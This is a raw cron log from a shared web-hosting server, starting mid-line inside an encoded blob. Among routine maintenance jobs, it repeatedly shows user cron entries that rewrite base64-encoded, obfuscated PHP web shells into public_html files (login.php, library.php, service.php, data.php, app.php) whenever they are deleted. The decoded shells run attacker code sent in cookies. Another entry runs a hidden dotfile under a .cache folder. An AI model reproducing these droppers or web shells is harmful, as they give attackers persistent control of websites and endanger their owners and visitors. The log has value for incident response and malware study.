ogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:43:01 medusa CROND[17439]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:44:02 medusa CROND[6969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:44:02 medusa CROND[7041]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:44:02 medusa CROND[7047]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:44:02 medusa CROND[7048]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 09:44:02 medusa CROND[7049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:44:02 medusa CROND[7050]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:44:02 medusa CROND[7051]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:44:02 medusa CROND[7052]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 09:44:02 medusa CROND[7056]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:44:02 medusa CROND[7060]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:44:02 medusa CROND[7061]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:44:02 medusa CROND[7062]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:44:02 medusa CROND[7064]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:45:01 medusa CROND[28327]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 09:45:01 medusa CROND[28374]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 09:45:01 medusa CROND[28447]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 09:45:01 medusa CROND[28448]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 09:45:01 medusa CROND[28449]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:45:01 medusa CROND[28450]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 09:45:01 medusa CROND[28451]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 09:45:01 medusa CROND[28452]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:45:01 medusa CROND[28454]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 09:45:01 medusa CROND[28456]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 09:45:01 medusa CROND[28458]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:45:01 medusa CROND[28459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:45:01 medusa CROND[28460]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 09:45:01 medusa CROND[28467]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 09:45:01 medusa CROND[28472]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 09:45:01 medusa CROND[28475]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:45:01 medusa CROND[28476]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 09:45:01 medusa CROND[28481]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:45:01 medusa CROND[28482]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:45:01 medusa CROND[28483]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:45:01 medusa CROND[28488]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:45:01 medusa CROND[28489]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:45:01 medusa CROND[28491]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:46:01 medusa CROND[17302]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:46:01 medusa CROND[17385]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:46:01 medusa CROND[17450]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 09:46:01 medusa CROND[17451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:46:01 medusa CROND[17452]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 09:46:01 medusa CROND[17454]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 09:46:01 medusa CROND[17455]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
